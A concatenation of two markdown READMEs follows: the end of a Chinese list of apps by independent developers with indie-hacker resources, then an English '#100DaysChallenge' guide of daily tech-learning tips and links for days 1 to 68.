#### sheepkx - [GitHub](https://github.com/sheepkx)
* :white_check_mark: [闪念ToDo](https://www.coolapk.com/apk/com.kdfly.todo)：ToDo 计划管理App
#### jiangboLee - [GitHub](https://github.com/jiangboLee)
* :white_check_mark: [Ptoo](https://itunes.apple.com/us/app/ptoo/id1219224872?mt=8)：一款美图软件 - [更多介绍](https://github.com/jiangboLee/huangpian)
* :white_check_mark: [即时天气](https://github.com/jiangboLee/WeatherWX)：一款天气预报小程序~
#### MORECATS - [GitHub](https://github.com/MORECATS)
* :white_check_mark: [视觉图表](https://itunes.apple.com/cn/app/id1090006424)：适用于 iPhone & iPad 的图表制作应用
* :white_check_mark: [标注图像+](https://itunes.apple.com/cn/app/id1227197910)：高效快捷地标注图像，长图，拼图，二维码一应俱全
* :white_check_mark: [课程表](https://itunes.apple.com/cn/app/id1219202104)：一周课程表 & 艾宾浩斯遗忘曲线计划表
* :white_check_mark: [今日美图](https://itunes.apple.com/cn/app/id1195400858)：获取今日 Bing 美图，每日新视野
* :white_check_mark: [网速查看+](https://itunes.apple.com/cn/app/id1289105991)：在 iPhone & iPad 通知小部件上查看实时网络上下行速度
* :white_check_mark: [取色器+](https://itunes.apple.com/cn/app/id1326506149)：像素级图像取色 & 色彩收集
* :white_check_mark: [短信过滤+](https://itunes.apple.com/cn/app/id1314415052)：基于 iOS 11 新特性的垃圾短信过滤应用
#### Jocs - [GitHub](https://github.com/Jocs)
* :white_check_mark: [Mark Text](https://marktext.github.io/website/)：所输及所见的 Markdown 编辑器，支持源码模式、焦点模式、打字机模式 - [更多介绍](https://github.com/marktext/marktext/)
#### 滑滑鸡 - [GitHub](https://github.com/songkuixi)
* :white_check_mark: [单语](https://itunes.apple.com/cn/app/单语-日语生词本-日语单词-日语学习/id1086636706)：一个日语单词本应用
* :white_check_mark: [APOD](https://itunes.apple.com/us/app/apod/id1173315594)：一个每日天文一图客户端
* :white_check_mark: [今日打卡](https://itunes.apple.com/cn/app/keeping-任务管理利器-打卡习惯养成/id1197272196)：一个小巧的日程管理打卡应用 - [更多介绍](https://github.com/songkuixi/Keeping)
* :white_check_mark: [TouchBrickout](https://itunes.apple.com/cn/app/touchbrickout/id1314804894)：一款在 Mac 上用键盘或者 Touch Bar 进行打砖块的游戏 - [更多介绍](https://github.com/songkuixi/TouchBreakout)
#### haozes - [GitHub](https://github.com/haozes)
* :white_check_mark: [YaoYao](https://itunes.apple.com/cn/app/id1179393901/)：Apple Watch 跳绳计数应用 - [更多介绍](https://sspai.com/post/40103)
* :white_check_mark: [DunDun](https://itunes.apple.com/cn/app/dundun-squats-counter/id1348285355?l=zh&ls=1&mt=8)：Apple Watch 深蹲计数应用 - [更多介绍](https://sspai.com/post/43319)
* :white_check_mark: [Lean](https://itunes.apple.com/cn/app/id1435069659?mt=8)：自重力量训练 - [更多介绍](https://sspai.com/post/47294)
* :white_check_mark: [OnlyTalk](https://itunes.apple.com/cn/app/id1462516460?mt=8)：亲情语音对讲 - [更多介绍](https://sspai.com/post/55560)
#### Tuluobo - [GitHub](https://github.com/Tuluobo)
* :x: [玩客钱包](https://itunes.apple.com/cn/app/%E7%8E%A9%E5%AE%A2%E9%92%B1%E5%8C%85/id1302778851)：迅雷玩客币（改名链克）的非官方查询管理钱包 APP - [更多介绍](https://github.com/Tuluobo/LKWallet)
#### forecho - [GitHub](https://github.com/forecho)
* :x: [三立三](https://3li3.com/): 提供 Kindle 电子书和 iOS App 降价提醒和购买服务 - [更多介绍](http://blog.3li3.com/releases-v2/)
#### JonyFang - [GitHub](https://github.com/JonyFang), [微博](http://weibo.com/u/3034766044),[Twitter](https://twitter.com/jony_chunfang)
* :x: [Shots 精简壁纸](https://shoots.coding.me/)：一款精简壁纸应用，最原本的方式，最简朴的体验，只为在你挑选壁纸时，给予小小的建议：）
#### oasisfeng - [GitHub](https://github.com/oasisfeng)
* :white_check_mark: [绿色守护 (Greenify)](https://www.coolapk.com/apk/com.oasisfeng.greenify)：帮助甄别那些对系统性能和耗电有不良影响的程序，阻止它们 （省略原描述20字）
* :white_check_mark: [岛 (Island)](https://www.coolapk.com/apk/com.oasisfeng.island)：提供：隔离应用，保护隐私、克隆应用，平行运行（省略原描述20字）等功能
#### meowtec - [GitHub](https://github.com/meowtec/)
- :white_check_mark: [Imagine](https://github.com/meowtec/Imagine): 一个跨平台的图片可视压缩 PC App
#### ywwhack - [GitHub](https://github.com/ywwhack)
* :white_check_mark: [aidou-electron](https://github.com/ywwhack/aidou-electron)：(Mac) 斗图神器 - 根据关键字搜索表情，一键复制
#### kinglisky - [GitHub](https://github.com/kinglisky)
* :white_check_mark: [aidou](https://chrome.google.com/webstore/detail/aidou/kidfkhcacngpkgkagdmbkncecbnadajb?hl=zh-CN)： (Chrome 插件) 社区回帖 Code review 斗图插件，一键生成表情链接 - [了解更多](https://github.com/kinglisky/aidou)
#### tinyao - [GitHub](https://github.com/tinyao)
* :x: [有饭](https://fan.zico.im/)：一款白白的饭否 Android 客户端
### 2018年3月18号添加
---
#### 青杨 - [GitHub](https://github.com/HuQingyang)
* :white_check_mark: [Luoo.qy](https://github.com/HuQingyang/Luoo.qy)：独立音乐社区[落网](http://www.luoo.net/)的第三方电脑客户端
* :white_check_mark: [Page.qy](https://github.com/HuQingyang/Page.qy)：一款针对小白(~~懒人~~)的自动化管理、生成、部署个人博客的工具
#### zomco - [GitHub](https://github.com/zomco)
* :x: [路几](http://www.ruki.pw)：分享精彩的行车记录仪视频
#### Akring - [GitHub](https://github.com/akring)
* :x: [Star Order for Mac/iOS](https://star-order.com/)：Mac/iOS 双平台的 GitHub Star 管理工具
#### Jinya - [GitHub](https://github.com/JinyaX), [微博](https://weibo.com/934249787)
* :white_check_mark: [短信卫士](https://itunes.apple.com/cn/app/%E7%9F%AD%E4%BF%A1%E5%8D%AB%E5%A3%AB/id1317407948?mt=8)：iOS 垃圾短信过滤工具（需要 iOS 11.0 或更高版本）
* :x: [Key Master]()：iOS 密码管理工具
#### Collider LI - [GitHub](https://github.com/lhc70000)
* :white_check_mark: [IINA](https://github.com/lhc70000/iina)：一个现代的 macOS 媒体播放器
#### lijianqiang12 - [博客](http://lijianqiang12.com)
* :x: [远离手机](http://www.offphone.net)：一个能将手机锁定一段时间的 App
#### Jason - [博客](https://atjason.com/)
* :white_check_mark: [Klib](https://itunes.apple.com/cn/app/id1196268448?mt=12)：Kindle、iBooks、多看标注与笔记管理 - [更多介绍](https://toolinbox.net/Klib/)
* :white_check_mark: [iText](https://itunes.apple.com/cn/app/id1314980676?mt=12)：从图片中识别文字的 OCR 工具 - [更多介绍](https://toolinbox.net/iText/)
* :white_check_mark: [iPic](https://itunes.apple.com/cn/app/id1101244278?mt=12)：图床工具、Markdown 插图助手，支持微博、七牛、又拍、阿里云等图床 - [更多介绍](https://toolinbox.net/iPic/)
* :white_check_mark: [iPaste](https://itunes.apple.com/cn/app/id1056935452?mt=12)：给效率人士开发的剪切板工具，macOS & iOS 双平台 - [更多介绍](https://toolinbox.net/iPaste/)
* :white_check_mark: [iHosts](https://itunes.apple.com/cn/app/id1102004240?mt=12)：唯一上架 Mac App Store 的 /etc/hosts 编辑工具 - [更多介绍](https://toolinbox.net/iHosts/)
#### 潇涧 - [GitHub](https://github.com/hujiaweibujidao)
* :x: [诗鲸](https://tab.leancloud.cn/1/stats/track/2lkBXY)：诗鲸是一款简洁而呆萌的诗词学习应用 - [更多介绍](http://zuimeia.com/app/5772/?platform=2)
* :white_check_mark: [干货集中营Mac客户端](https://github.com/hujiaweibujidao/Gank-for-Mac)：『Gank for Mac』 可能是唯一的干货集中营 Mac 客户端
#### tomasy - [GitHub](https://github.com/solobat)
* :white_check_mark: [Steward](https://github.com/solobat/Steward)：Chrome 上类 Alfred / Wox 命令启动器扩展
* :white_check_mark: [单词小卡片](https://github.com/solobat/wordcard)：单词查询、例句收集、单词记忆于一体的浏览器扩展，支持 Chrome / Firefox
#### NextStack - [GitHub](https://github.com/safe-dog), [博客](https://blog.nextstack.xyz)
* :x: [下一栈](https://nextstack.xyz)：把你的博客网站制作成 APP 进行更爽阅读浏览
#### zyx0814 - [GitHub](https://github.com/zyx0814/dzzoffice)
* :white_check_mark: [DzzOffice](http://dzzoffice.com)：类似 Office365, Google 企业应用套件的开源私有方案
#### ming
* :white_check_mark: [京价保](https://jjb.im/)：帮你自动申请京东价格保护，顺便签到领券，自动领取返利的 Chrome 拓展 - [更多介绍](https://github.com/sunoj/jjb)
#### 叶大侠 - [GitHub](https://github.com/YeDaxia)
* :white_check_mark: [声音笔记+](http://www.wandoujia.com/apps/com.cmajor.musicnote)：一个人，也可以像一支乐队一样练琴
* :white_check_mark: [为你搜谱](http://sopu.52cmajor.com/)：应该是国内最全的乐谱搜索引擎了
#### mclxly - [GitHub](https://github.com/mclxly)
* :white_check_mark: [我旁](https://3kmq.com/)：这是一个分享 / 发现周边生活资讯的社区
#### drakeet - [GitHub](https://github.com/drakeet)
- :white_check_mark: [纯纯写作](https://www.coolapk.com/apk/com.drakeet.purewriter?mt=8&uo=4&ct=appcards)：绝不丢失文本编辑器 - [更多介绍](https://sspai.com/post/43650)
#### Soledad - [GitHub](https://github.com/caiyue1993), [微博](https://weibo.com/caiyue233/)
* :white_check_mark: [Lazy K](https://itunes.apple.com/cn/app/lazy-k/id1348224910?mt=8)：不想聊天的敷衍“输入法” - [更多介绍](https://sspai.com/post/43386)
* :white_check_mark: [小目标](https://itunes.apple.com/cn/app/%E5%B0%8F%E7%9B%AE%E6%A0%87-%E9%87%8F%E5%8C%96%E4%BD%A0%E7%9A%84%E8%BF%9B%E6%AD%A5/id1215312957?mt=8)：实用且精致的任务管理类应用，以量化的方式激励你完成目标
#### Gao Deng - [GitHub](https://github.com/gaodeng)
* :white_check_mark: [AtPill](https://itunes.apple.com/cn/app/id590504521?mt=12): (Mac) 豆瓣电台客户端
* :white_check_mark: [HaloRadio](https://www.icyarrow.com/haloradio/)：(Windows) 豆瓣电台客户端
* :white_check_mark: [Biu](https://github.com/gaodeng/Biu-for-ReadHub)：(Android/iOS) Readhub 移动客户端
#### ymark - [GitHub](https://github.com/ymma)
* :white_check_mark: [易词云](http://yciyun.com)：根据各种图片模板生成词云图片
* :white_check_mark: [易LOGO](http://yeelogo.com/)：简单的在线生成 Logo 网站
* :x: [二维码梦工厂](http://qrdream.ymark.cc/)：专注于个性、动态、扁平、表情二维码生成
#### GhostSKB - [GitHub](https://github.com/dingmingxin/GhostSKB)
* :white_check_mark: [GhostSKB](https://itunes.apple.com/cn/app/ghostskb/id1134384859?mt=12)：(Mac) 可根据应用设置默认输入法，应用切换时，输入法也跟随切换
#### simpleapples - [GitHub](https://github.com/simpleapples)
* :white_check_mark: [饭斯基](https://github.com/simpleapples/fansky)：第三方饭否iOS客户端
* :white_check_mark: [摇摇选餐](https://github.com/simpleapples/ShakeChoose)：随机选餐工具
* :white_check_mark: [短网址二维码生成器](https://github.com/simpleapples/url2qrcode)：Chrome 短网址二维码生成器
* :white_check_mark: [App Store 全部作品](https://itunes.apple.com/cn/developer/zhiya-zang/id549139622)
### 2018年3月17号添加
---
#### wangzuo
* :white_check_mark: [RapZH](https://rapzh.com/): 中文说唱数据库 - [更多介绍](https://wanqu.io/t/rapinchina/7371)
#### KyXu - [GitHub](https://github.com/OpenMarshall), [微博](http://weibo.com/kaiyuanxu)
* :white_check_mark: [Nihon Cam](https://itunes.apple.com/cn/app/id1362401778)：提供 5810 种滤镜的另类美图软件，已被 App Store 推荐
* :white_check_mark: [Nihon](https://itunes.apple.com/app/id1315486029)：在 iOS 上呈现日本传统颜色 - [更多介绍](https://wanqu.io/t/nihon-ios/7678)
* :white_check_mark: [闪念](https://itunes.apple.com/cn/app/id1342519507)：在 iPhone 上尽力复刻了锤子的 Idea Pills - [更多介绍](https://wanqu.io/t/iphone-idea-pill/8038)
* :white_check_mark: [记分牌](https://itunes.apple.com/cn/app/id1080572635)：(iOS) NBA 比分跟踪利器 - [更多介绍](https://wanqu.io/t/ios-mac-nba/8051)
* :white_check_mark: [Basketball Moment](https://itunes.apple.com/cn/app/id1185284010)：(Mac) NBA 比分跟踪利器 - [更多介绍](https://wanqu.io/t/ios-mac-nba/8051)
* :white_check_mark: [时间规划局](https://itunes.apple.com/cn/app/id1204689405)：提醒珍惜时间的 iOS Today Widget
* :white_check_mark: [飞花令](https://itunes.apple.com/cn/app/id1340671116)：用三十万古诗词数据打造的极简飞花令主题 App
* :white_check_mark: [App Store 全部作品](https://itunes.apple.com/cn/developer/id988271193)
#### 61
* :white_check_mark: [PriceTag](https://itunes.apple.com/cn/app/price-tag/id1166819590?mt=8)：应用资讯即刻知晓
#### oldj
* :white_check_mark: [妙笔](https://wonderpen.app)：Mac 平台写作软件 - [更多介绍](https://docs.wonderpen.app/)
* :white_check_mark: [SwitchHosts!](https://swh.app)：便捷的 Hosts 管理工具 - [更多介绍](https://github.com/oldj/SwitchHosts)
#### Kenshin
* :white_check_mark: [简悦](http://ksria.com/simpread/)：让你瞬间进入沉浸式阅读的 Chrome 扩展 - [更多介绍](https://wanqu.io/t/200-chrome/7181)
* :white_check_mark: [Emoji](http://ksria.com/emoji/)：一个简单、可靠、纯粹、中文语义化的 Emoji 扩展
#### jadeydi
* :white_check_mark: [TopTalkedBooks](https://toptalkedbooks.com/)：收集 Hacker News, Stack Overflow, Reddit 书，展示推荐最多的书 - [更多介绍](https://wanqu.io/t/hacker-news-stack-overflow-reddit-2017-09-04/)
#### soasme
* :x: [Techshack Weekly](https://wanqu.io/t/techshack-weekly/7809)：精细耕耘后端开发的每一个知识点 - [更多介绍](https://wanqu.io/t/techshack-weekly/7809)
#### wwayne
* :white_check_mark: [Cominsoon](https://cominsoon.io/)：快速搭建『即将上线』页面 - [更多介绍](https://wanqu.io/t/cominsoon/7676/4)
#### 寂小桦
* :white_check_mark: [小专栏](https://xiaozhuanlan.com/)：专业人士的写作社区 - [更多介绍](https://www.v2ex.com/t/392109)
#### 像素君
* :white_check_mark: [创造狮导航](http://chuangzaoshi.com)：创意工作者导航
#### wichna
* :white_check_mark: [Paybase](https://paybase.cn)：一个专注于支付领域的垂直论坛 - [更多介绍](https://paybase.cn/d/35-paybase)
* :white_check_mark: [Anyshortcut](https://anyshortcut.com/)：一款 Chrome/Firefox 效率插件，自定义快捷键快速打开常用网站 - [更多介绍](https://sspai.com/post/42272)
#### 猫叔 - [GitHub](https://github.com/imeoer), [博客](http://www.chole.io/)
* :clock8: [纸小墨](https://www.v2ex.com/t/393185#reply710)：全平台笔记软件
#### 糖醋陈皮 - [GitHub](https://github.com/1c7), [微博](https://weibo.com/2004104451/profile?topnav=1&wvr=6)
* :white_check_mark: [字幕组机翻小助手](https://translation-helper.1c7.me/)：机器翻译 .srt .ass 字幕文件
* :x: [寓住](https://yuzhu.me)：找长租公寓/评价长租公寓
* :white_check_mark: [Sideidea](http://sideidea.com)：独立开发者分享做项目盈利的故事，目前内容均翻译自 Indie Hacker，暂无原创内容。
* :x: [CC 速成班](https://www.coolapk.com/apk/com.crashcourse.china.c17)：聚合所有中文字幕 Crash Course 视频 - [更多介绍](https://wanqu.io/t/app-cc-crash-course/7606)
* :x: youtube-sumup.com：总结 Youtube 视频内容
* :x: 月可(onereco.com)：写短总结推荐好文
---
#### 4. 另外
推荐一些对独立开发者有帮助的网站：
[英文]
* [Productized Startups](https://productizedstartups.com/interviews/)
* [Indie Hacker](https://www.indiehackers.com/)
* [Failory](https://www.failory.com/) - 分享创业失败的故事
* [Starter Story](https://www.starterstory.com/) - 采访 e-commerce(电商) 的盈利故事，和 Indie hacker 很像，不过是专注于电商领域
* [Awesome Indie](https://github.com/mezod/awesome-indie)
* [NomadList](https://nomadlist.com/) - 远程工作时可以用 NomadList 挑选去哪个城市
* [Remotebond](https://remotebond.com/) - 找远程工作
* [RemoteOK](https://remoteok.io/) - 找远程工作
* [MicroConf 视频](http://www.microconf.com/starter/past-videos/)
* [Stripe Atlas Guide](https://stripe.com/atlas/guides)
* [Opps Daily - 这家的 newsletter 做得好，推荐订阅](https://www.oppslist.com/)
* [Master of Scale](https://mastersofscale.com)
[中文]
* [Sideidea](http://sideidea.com/) - 分享独立开发者的盈利故事
* [利器](http://liqi.io/creators/)
* [PriceTag 的独立开发者采访（公众号 PriceTagApp）](https://mp.weixin.qq.com/s/WZ6ULaATxIA1fZOUXZVobA)
* [v2ex 论坛 - 分享创造板块](https://www.v2ex.com/go/create)
#### 5. 值得关注的 Twitter 账号
* [Patrick McKenzie (@patio11)](https://twitter.com/patio11)
* [Pieter Levels (@levelsio)](https://twitter.com/levelsio) - 做了 Nomadlist 和 RemoteOK 等产品 - [更多介绍](https://twitter.com/levelsio/status/968027544103473152)
* [Courtland Allen (@csallen)](https://twitter.com/csallen) - Indie Hacker 创始人
#### 6. 最后
本库创建者 1c7 也做了 [sideidea.com](http://sideidea.com/)<br/>
**sideidea - 独立开发者分享做产品盈利的故事**<br/>
|
# #100DaysChallenge for Techies
I created this repo to share tips, resources and doses of motivation to help you start and finish the 100 Days Learning Challenge, whether you want to learn software engineering, UI/UX design, data science, data engineering, open source, etc. Learning resources can be found [here](https://github.com/ivybarley/100DaysChallenge/blob/main/RESOURCES.md).
[Join](https://join.slack.com/t/100dayschallenge2022/shared_invite/zt-10zjhpfyr-T1H_3s37GUKkoVkOWYrKLw) the Slack community for this Challenge to meet like-minded people and collaborate on projects.
Don't forget to follow me on [Twitter](https://twitter.com/ivybarley) for more tech and career content. Also feel free to tag me in your daily projects and lessons during this Challenge.
## Week 1
| Day | Theme | Tip |
| :------------- | :---------- | :----------- |
| 1 | Interest in Challenge | You are here because you want to be a part of the #100DaysChallenge. You probably would like to use today to think through your motivation for wanting to participate in this Challenge. Is it to gain new skills to apply for a new role, ask for a promotion, build projects, start a company or have fun? Whatever reason you have is valid. Welcome to the Challenge. |
| 2 | Goals and Quiz | You decided to embark on a journey to invest in yourself. Congrats! This will be a good time to set some goals and put them in writing. What do you want to achieve by the end of the 100 days? If you're still unsure of what to learn, take this quiz: https://www.codecademy.com/explore/sorting-quiz. |
| 3 | Accountability Partner | "If you want to go fast, go alone. If you want to go far, go together." Having an accountability partner on your learning journey can be a source of support and motivation to keep going. Are you searching for an accountability partner? Share your interests and connect with others [here](https://twitter.com/ivybarley/status/1477920164842778624).
| 4 | Finding the Best Courses and Tutorials| Wondering where to find the best online courses and tutorials in Programming, Data Science, DevOps and Design? Go to https://hackr.io/. When a course or tutorial is submitted, the community upvotes and the best rises to the top. |
| 5 | Popular Coding Websites | These are some of the popular websites with coding resources: https://freecodecamp.com, https://w3schools.com, https://codecademy.com, https://sololearn.com, https://khanacademy.org, https://edx.org, https://theodinproject.com, https://coursera.org and https://ocw.mit.edu. |
| 6 | No Computer? | Ideally, you'd want to have a personal computer to use for your tech lessons & projects. However, some circumstances may not allow that. You're still not left behind. You can use mobile apps like Sololearn, Mimo, Udemy, DataCamp, etc to learn. |
| 7 | When to Build Projects | Should you try to learn everything before building projects or build projects while you're learning? I suggest building projects (no matter how small) as you learn to appreciate the practical application of the course material.|
## Week 2
| Day | Theme | Tip |
| :------------- | :---------- | :----------- |
| 8 | Joining Communities | When you join the right tech communities, you become part of a support system, get access to resources, mentors and opportunities to give back. Read [this post](https://www.linkedin.com/posts/ivybarley_techcommunities-techjourney-networking-activity-6869188044382191616-AZTK) about the importance of tech communities and recommendations of which ones you can join. |
| 9 | Remote Pair Programming | Have you considered remote pair programming? With this, you can share your screen with someone to collaboratively design, build and review projects. Anyone, in any stage of their learning journey can participate in pair programming. |
| 10 | Show Your Work | I know some people are comfortable with sharing their projects publicly while others are not. Sharing your projects and learning progress publicly using platforms like GitHub, LinkedIn, Twitter and Medium helps with accountability and consistency, and exposes you to potential recruiters and mentors.|
| 11 | Git and GitHub | On the topic of openly sharing your work, GitHub is one of the perfect places to do so. Not only do you get to show your work, you can contribute to other people's projects. If you're new to Git and GitHub, read this article: https://www.freecodecamp.org/news/git-and-github-for-beginners/.|
| 12 | Screen Recordings | Aside sharing screenshots and links, you could do screen recordings of your projects using an app like OBS Studio and share on platforms like LinkedIn. Video content does well on LinkedIn and could help increase your visibility on the platform.|
| 13 | Twitter Spaces | People are gaining knowledge, hearing of job opportunities, meeting new people and getting access to resources by participating in Twitter Spaces. This is a personal and professional development opportunity right at your fingertips. If interested, RSVP for my tech and career Twitter Spaces at http://spaceswithivy.com. |
| 14 | Taking Notes | One thing you should do in your learning journey is to take notes that you can refer to in the future. Some note-taking apps like Notion have features for adding images, boards, code blocks that support multiple programming languages, wikis, etc. My favorite note-taking app is Notion. What about you?|
## Week 3
| Day | Theme | Tip |
| :------------- | :---------- | :----------- |
| 15 | Create Your Cheat Sheet |On the topic of taking notes while you learn, you can even create your own cheat sheets for quick referencing. You can create cheat sheets using https://cheatography.com/. They also have over 4,000 free cheat sheets and quick references.|
| 16 | Google or Bing it | You don't know everything and that's okay. No one does anyway. If it's taking you forever to solve a problem or you need further explanation on a topic, Google or Bing it. Someone is very likely to have been in your shoes before.|
| 17 | Stack Overflow | Are you getting stuck because of the stack you chose? Go to [StackOverflow](https://stackoverflow.com/) to learn from others' experiences with similar challenges. It can get overwhelming at the beginning but you'd get the hang of it as times goes on.|
| 18 | subreddits | If you are looking for online communities around what you are learning, consider joining subreddits on those topics. There are subreddits on almost every area of tech you could think of and the people in these communities are usually supportive.|
| 19 | Twitter Topics | Do you know about the Topics feature on Twitter? With this, you can personalize your timeline by following topics that are of interest to you. There are diverse technical and non-technical topics you can follow to curate your timeline as you learn.|
| 20 | Teach Someone Else | Did you recently learn how APIs work? Or the importance of customer empathy when building products? Try teaching someone something you learnt this week. Research shows that explaining something to other people helps us understand it better. |
| 21 | 3-week Check | It's been 3 weeks since we started the 2022 #100DaysChallenge to learn new tech skills and openly share our journey online. People are learning UI/UX design, data engineering, product management, technical writing, software development, etc. How has it been so far? |
## Week 4
| Day | Theme | Tip |
| :------------- | :---------- | :----------- |
| 22 | Python Projects | If you are learning Python, these are 25 beginner friendly Python projects you can start working on today: https://www.freecodecamp.org/news/python-projects-for-beginners/. |
| 23 | Product Management Books |If you are learning product management, this is a visual guide of the best product management books as well as an article describing why each book was recommended: https://www.delibr.com/post/visual-guide-to-the-best-books-on-product-management. |
| 24 | Consistency | When developing a new habit like learning a new skill, consistency is key. You don't always have to feel like learning but still show up anyway, even if it's for a few minutes. Don't underestimate the power of consistency.|
| 25 | Follow Tech Professionals | I saw a tweet that said that the only 2 tech professionals you'd see on Twitter are programmers and UI/UX designers. False. 😂 On social media platforms like Twitter, you'd find people who specialize in different areas of tech (both technical and non-technical) who share a lot of useful resources. Follow them.|
| 26 | Web Development Roadmaps | If you are learning web development, these developer roadmaps will be useful: Frontend (https://roadmap.sh/frontend), Backend (https://roadmap.sh/backend), Angular (https://roadmap.sh/angular), React (https://roadmap.sh/react).|
| 27 | DevOps Roadmap | If you are learning DevOps, this roadmap will be useful: https://roadmap.sh/devops. |
| 28 | Music Playlist | Do you listen to music while learning? Do you have a learning playlist? What kind of music works best for you? 💃🏾 |
## Week 5
| Day | Theme | Tip |
| :------------- | :---------- | :----------- |
| 29 | Android Development Roadmap | If you are learning Android development, this roadmap will be useful: https://roadmap.sh/android.|
| 30 | Learning Quote | "The more I learn, the more I grow. The more I grow, the more value I can add to myself and my community". This is my quote for learning. Do you have one? |
| 31 | Free Self-taught CS Education | The OSSU curriculum is a complete online education in Computer Science. It’s for those who want a proper, well-rounded grounding in concepts fundamental to all computing disciplines. Get started today: https://github.com/ossu/computer-science.|
| 32 | Frontend Mentor | With https://www.frontendmentor.io/, you can choose a challenge, code the design, submit your solution and give others feedback. Start solving real-world HTML, CSS and JavaScript challenges today.|
| 33 | UI/UX Design Bookmarks | If you are learning UI/UX design, https://www.evernote.design/ has loads of design resources, inspiration and tips.|
| 34 | Data Science Competitions and Community| For those learning data science, you will find competitions, hackathons and courses to participate in for free on https://www.kaggle.com/ and https://zindi.africa/. There are also public datasets, notebooks and discussion forums. |
| 35 | Discord and Slack Communities| Are you part of any helpful Discord and Slack communities for the skills you are learning? If not, reach out to people in the industry for recommendations. If you're part of this Challenge, a good starting point will be the Slack community we set up. Join [here](http://bit.ly/100days2022).|
## Week 6
| Day | Theme | Tip |
| :------------- | :---------- | :----------- |
| 36 | Life Happens | If you have skipped some of the days for learning, don't be too hard on yourself. Life happens. Whenever you are ready to come back to it, you are welcome to continue the journey. 🤗|
| 37 | VS Code Plugin | Some devs use tools like Code Time (a VS Code plugin) to protect code time and stay in flow. This helps them to log their daily learning progress, metrics, and milestones.|
| 38 | Finding a Mentor | A great place to find a mentor is https://adplist.org. |
| 39 | Video-based Learning Resources | Have you been using any video-based tech learning resources that you like? Do you have any favorite YouTube channels for learning? |
| 40 | Data Structures and Algorithms| If you are learning data structures and algorithms, check out this thread with more than 40 learning resources: https://twitter.com/mdjunaidap/status/1468535275299115010. |
| 41 | Cybersecurity Learning Path | Interested in Cybersecurity? The TryHackMe Pre Security Learning Path will give you the pre-requisite technical knowledge to get started: https://tryhackme.com/path/outline/presecurity. |
| 42 | Microsoft’s 30 Days to Learn It | Microsoft’s 30 Days to Learn It can help you build skills in AI, DevOps, cloud development, Microsoft 365, low code, IoT, data science, and more: https://developer.microsoft.com/en-us/offers/30-days-to-learn-it. |
## Week 7
| Day | Theme | Tip |
| :------------- | :---------- | :----------- |
| 43 | You Are Doing Great | This is just a reminder that you are doing great. Keep investing in yourself. |
| 44 | Basic SQL Cheat Sheet | If you are learning SQL, this cheat sheet has some of the basic SQL syntax: https://learnsql.com/blog/sql-basics-cheat-sheet/sql-basics-cheat-sheet-a3.pdf. |
| 45 | Winning Together | Take some time today to reach out to someone else who's on this learning journey to share words of encouragement. We're winning together this year.|
| 46 | A Design Career on Uxcel | Get access to a library of interactive UI/UX design courses, test your design skills and browse a UI/UX job board dedicated only to designers on https://uxcel.com/. |
| 47 | Writing Articles | One way to document your learning journey is to write articles on a schedule that works for you. You can use these articles to explain concepts you're learning. If you forget something, you can refer to your articles, and others could even benefit from them. |
| 48 | MIT Deep Learning Videos | If you are learning Deep Learning, this MIT video playlist on Introduction to Deep Learning is a great resource: https://www.youtube.com/playlist?list=PLtBw6njQRU-rwp5__7C0oIVt26ZgjG9NI. |
| 49 | Intro. to Probability for Data Science book | If you are learning data science, the University of Michigan has an Introduction to Probability for Data Science book that they have made available to the public for free at https://probability4datascience.com/. |
## Week 8
| Day | Theme | Tip |
| :------------- | :---------- | :----------- |
| 50 | Halfway Through | Congrats! We are halfway through with the 100 Days Learning Challenge. How has the learning journey been for you? Any wins? Any challenges? Any tips? Feel free to share in the Slack community. |
| 51 | Career Karma | On Career Karma (https://careerkarma.com/), you'll find bootcamps, career guides, scholarships, resources, community, mentors, coaches and live events to help you navigate your tech career. |
| 52 | CSS Exercises and Quizzes| If you are learning CSS, these are some exercises and quizzes to help you practice: https://careerkarma.com/blog/css-exercises/.|
| 53 | Review Your Goals | On the first day of this Challenge, we did some goal-setting for our learning journey. If you haven't reviewed your goals recently, this is a good time to do so. If you haven't set learning goals yet, this is a good time to do so. |
| 54 | Cisco Online Courses | The Cisco Networking Academy (https://www.netacad.com/courses/all-courses) has free courses in Networking, Internet of Things, Cybersecurity, Programming and others. |
| 55 | GitHub Learning Labs | Get familiar with how GitHub works via GitHub Learning Labs (https://lab.github.com/) with free courses and learning paths on GitHub, DevOps, programming languages and tools. You can also work on hands-on lessons and get access to a helpful bot.|
| 56 | Open Source Guides | Learn how to launch and grow an open source project using these guides: https://opensource.guide/. |
## Week 9
| Day | Theme | Tip |
| :------------- | :---------- | :----------- |
| 57 | Non-Technical Roles in Tech | If you're considering non-technical roles in tech, here are 8 of them: https://www.cbtnuggets.com/blog/it-careers/8-non-technical-roles-ready-to-jump-into-it. |
| 58 | Get Mentors for Specific Topics | One cool thing about ADPList is that you can have mentorship sessions on specific topics, including Breaking into Tech, Resume and Portfolio Review, Negotiating a Job Offer, etc. Choose your next mentorship topic at https://adplist.org/explore?tab=topics. |
| 59 | 800 Free CS Classes | This [repo](http://bit.ly/800CSclasses) has 800 free Computer Science classes you can take online right now. Topics include Systems Programming, Artificial Intelligence, Security, Math, Blockchain, etc.|
| 60 | Free LinkedIn Learning, Microsoft Learn and GitHub Learning Lab Courses| Get access to free courses on LinkedIn Learning, Microsoft Learn and GitHub Learning Labs to help you gain the right skills for your next job opportunity: https://opportunity.linkedin.com/skills-for-in-demand-jobs.|
| 61 | Tech Events | Attending tech events is a great way for you to learn new skills and expand your network. With the ongoing pandemic, many tech events are now virtual or hybrid. You can find tech events of interest on Eventbrite, Meetup, social media platforms and communities you are part of. |
| 62 | Privacy Course | Take a free course on privacy and how privacy-preserving AI can be used in products and services: https://courses.openmined.org/courses/our-privacy-opportunity. |
| 63 | Okay to Skip a Day or Two | If you have skipped a day or two or even a week of learning, it's okay. How about you get back on track today?|
## Week 10
| Day | Theme | Tip |
| :------------- | :---------- | :----------- |
| 64 | SQL Roadmap | Here is a SQL roadmap newbies can follow to learn SQL online: https://careerkarma.com/blog/learn-sql/.|
| 65 | Google UI/UX Design Course | This is a great UI/UX Design course by Google with financial aid: https://www.coursera.org/professional-certificates/google-ux-design. |
| 66 | Free Bootcamps and Courses | These are some of the best free bootcamps, coding training, classes, and courses: https://careerkarma.com/blog/best-free-coding-bootcamp-options/.|
| 67 | Keep Going | Keep going.|
| 68 | Microsoft Spring Skills Challenge | Register for the [Microsoft Spring Skills Challenge](https://pulse.microsoft.com/en/skill-forward-en/na/fa1-get-rewarded-for-gaining-tech-skills-and-free-certifications-at-the-microsoft-spring-skills-challenge) to get access to free certifications, learning paths and trainings in Azure Fundamentals, Azure Data Fundamentals, Microsoft Security and Compliance among others.|
